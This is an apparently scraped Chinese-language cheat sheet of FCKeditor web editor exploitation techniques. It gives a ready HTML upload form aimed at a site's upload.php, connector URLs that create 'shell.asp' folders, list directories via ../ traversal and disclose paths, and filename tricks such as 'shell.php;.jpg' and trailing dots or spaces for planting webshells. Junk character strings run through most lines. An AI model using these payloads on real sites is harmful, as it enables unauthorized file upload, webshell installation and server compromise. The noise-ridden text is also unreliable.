Fckeditor漏洞利用总结 # h6 F/ t V7 K# r6 N
查看编辑器版本; {, t- c8 s7 v0 T
FCKeditor/_whatsnew.html }' [' e, L, U6 r. F6 k0 `
—————————————————————————————————————————————————————————————* ^7 J* v$ e( r* U: q# c
# I3 D& w) ]/ O# p5 a2. Version 2.2 版本( X. W0 W! d4 d2 q! T. r+ ^5 e* S( ]' [
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
& y, O' E7 d' ~& R—————————————————————————————————————————————————————————————& W/ T9 S6 s7 E6 D) ^% ]. K
# r y5 k$ Z2 a7 J8 U, x3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
+ ]9 h2 |- b4 q5 _% U1 X6 b% L<form id="frmUpload" enctype="multipart/form-data"
' l) \' S" L! z! I* b' Daction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>& b) Q8 Q( W4 y, X1 x
<input type="file" name="NewFile" size="50"><br>8 H# i0 F4 }9 j! u# h; v
<input id="btnUpload" type="submit" value="Upload">* n4 \4 Q# y6 O0 I
</form>8 f" e% X) ]% J y& [, `7 v8 |
—————————————————————————————————————————————————————————————
: L. [. E9 G. {' Q
- h. K' S0 K* q! M! j4.FCKeditor 文件上传“.”变“_”下划线的绕过方法$ l) \" u9 k% J! B) D0 a1 ]
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
* l @- k% C& p" _9 `4 R/ N 4.1:提交shell.php+空格绕过8 m' a, Q) ~2 o3 n
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。9 o$ [. g$ s% z6 l* [
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。4 ^: [0 t1 }' F$ x
—————————————————————————————————————————————————————————————
' @0 @9 h$ q9 @* k
( }: u- T8 |% @* l5. 突破建立文件夹
N2 A/ I/ T) v' p) ]1 {6 W- RFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756840 U; U; G9 m) h( y$ a/ b: `% `
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
! \8 G; t9 g( ~3 N- H9 r% n" b—————————————————————————————————————————————————————————————
: {- K2 [. a( b% `/ ]: ]
4 Q/ T/ K' n* `6. FCKeditor 中test 文件的上传地址: b3 m' ^" s0 l2 W& j! i7 K( }
FCKeditor/editor/filemanager/browser/default/connectors/test.html
( [$ `; W, D2 T9 F% t3 j7 I# X5 s0 ZFCKeditor/editor/filemanager/upload/test.html( h9 z' [5 A: \& V) l2 h6 t2 b. Q
FCKeditor/editor/filemanager/connectors/test.html
8 i& `1 C) O) @" L0 @FCKeditor/editor/filemanager/connectors/uploadtest.html
; F1 y; |$ @& \. {1 C' r—————————————————————————————————————————————————————————————; N C. R: l" t
% E% _( H$ T' ^- H! A& f) p7.常用上传地址2 [+ a) u1 Q1 r9 b# C+ i
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/" o* c( k# E- _ E7 m
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
. Y* ?/ K R) p( @. ?, Y1 ^0 UFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
; G& `0 J5 @9 o# MJSP 版:, }& r! [6 h$ s
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp3 n0 F1 W6 g# l$ M2 n3 F2 U* {
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
% }% I7 C) }; W B* i0 x件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。4 l0 }* w# |! h" h' {/ @& ?0 B
—————————————————————————————————————————————————————————————9 v5 b# b/ f6 |% d3 k- r9 J
# Z) P; h6 c' e# p/ k+ e3 G! R; ]; X8.其他上传地址4 Z2 S6 l9 N: Q ]* L, Y Z9 p! N, F
FCKeditor/_samples/default.html9 e; q% Z" M* n0 K3 t; [
FCKeditor/_samples/asp/sample01.asp
1 @) E7 _! b6 y# p/ ?, x6 m" w" hFCKeditor/_samples/asp/sample02.asp
5 _6 c2 b& n* n$ {: \8 l" ZFCKeditor/_samples/asp/sample03.asp& l3 O4 z M, }+ `) t" f
FCKeditor/_samples/asp/sample04.asp' L9 D3 W2 U, }) z( _
一般很多站点都已删除_samples 目录,可以试试。
* k7 ~9 z# o4 O; z' i5 nFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。6 M. F8 h( A1 k# p
—————————————————————————————————————————————————————————————
2 l/ N8 l9 S5 x- D; F/ L0 P" X; L6 O) C
9.列目录漏洞也可助找上传地址
, N6 L i0 Z8 |4 U( \Version 2.4.1 测试通过7 V: b# O; m3 {# O( e5 l( L+ t6 X4 U
修改CurrentFolder 参数使用 ../../来进入不同的目录
+ t' v7 U: a( }9 Y4 f- S; v/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
( R: X6 y% \, y9 `7 i! X4 D根据返回的XML 信息可以查看网站所有的目录。# w0 m7 v! p' V5 a% W
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F+ [2 \% n- y0 S3 L
也可以直接浏览盘符:& L Q a3 i, n( Y% O, u9 K
JSP 版本:$ H- X s" O8 X5 H: \/ D8 P
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
! Y& ?9 h4 e( n+ _/ M& w—————————————————————————————————————————————————————————————
3 }& N7 d8 v* t, u9 i8 r9 ]
4 Q3 \2 d( h) z G9 i! m10.爆路径漏洞
7 Z, d( Z+ A& ZFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp8 A+ n) G/ C1 C
—————————————————————————————————————————————————————————————& Z+ O, T: C. u% N4 C. k
- b' T- C2 Y+ m
11. FCKeditor 被动限制策略所导致的过滤不严问题
( V& d2 l; P7 P( q6 w 影响版本: FCKeditor x.x <= FCKeditor v2.4.3
, Z. l# ~, u: M脆弱描述:9 ?4 `& m8 ]3 o2 C5 G
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
2 o# {5 a- D7 mhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm! o6 _% T& k- u
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!8 ?; ~" g( f" B% o5 ^% x
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。' W0 V2 j" G6 F) D! J0 A
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!% e) ~8 V; C3 m* u: g! C A# a
—————————————————————————————————————————————————————————————4 B% x: H) i) F: N v8 d
, d+ [0 t2 h* Q0 V5 h0 Y12.最古老的漏洞,Type文件没有限制!6 x; O! A8 V+ x6 ~
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! ' Q4 \$ E1 d; b; q. y
—————————————————————————————————————————————————————————————5 g+ }2 Z0 n9 e1 A! c( t5 y+ F
) y/ q2 v1 P$ j
===============================================================================================================================================
* B D& a: ~) @% u
1 K2 ~! h x% wFCK编辑器jsp版本漏洞:7 u/ g9 K8 C2 }& o7 }7 c. p, i- ]; `
2 g- ]- P. _/ E* N N. z4 ?& \
7 h$ J7 Z' o) Y* B0 Nhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F9 W" G4 p$ T9 ~. \' @
# `1 k" |2 r, b" |% M$ ~( A上传马所在目录: n7 N Z, ~4 X. u+ z8 }$ I
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/0 |+ a2 A% ]5 \+ U: k6 H* [
上传shell的地址:9 M& x+ Y2 \% I, E% y# X
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector( z& p& B. ~# ?. g2 @
跟版本有关系.并不是百分百成功. 测试成功几个站.
8 p D4 C' ]0 W不能通杀.很遗憾.
* k( s* |: ^5 Ahttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
( N( u2 g; t/ ]0 K- J+ O6 K6 G8 e如果以上地址不行可以试试4 b0 v2 c, `% s1 m
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
6 I7 s7 E9 {# Z% G8 f- s1 g% I9 fFCKeditor/_samples/
$ L _4 ~) |# _+ W0 S; R W9 L0 a- nFCKeditor/_samples/default.html+ f+ b. u2 j. J5 `7 w+ ]
FCKeditor/editor/fckeditor.htm6 r0 }' M+ n; a0 `9 s
FCKeditor/editor/fckdialog.html
7 \4 D" O j0 p4 k$ `
! H/ z# w; J( V1 s( Y7 k( J* F" D1 o5 ^& g' w
# r, `- y9 w) J: R8 _
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg( v! T& k0 l/ f2 ^) `0 E7 E
|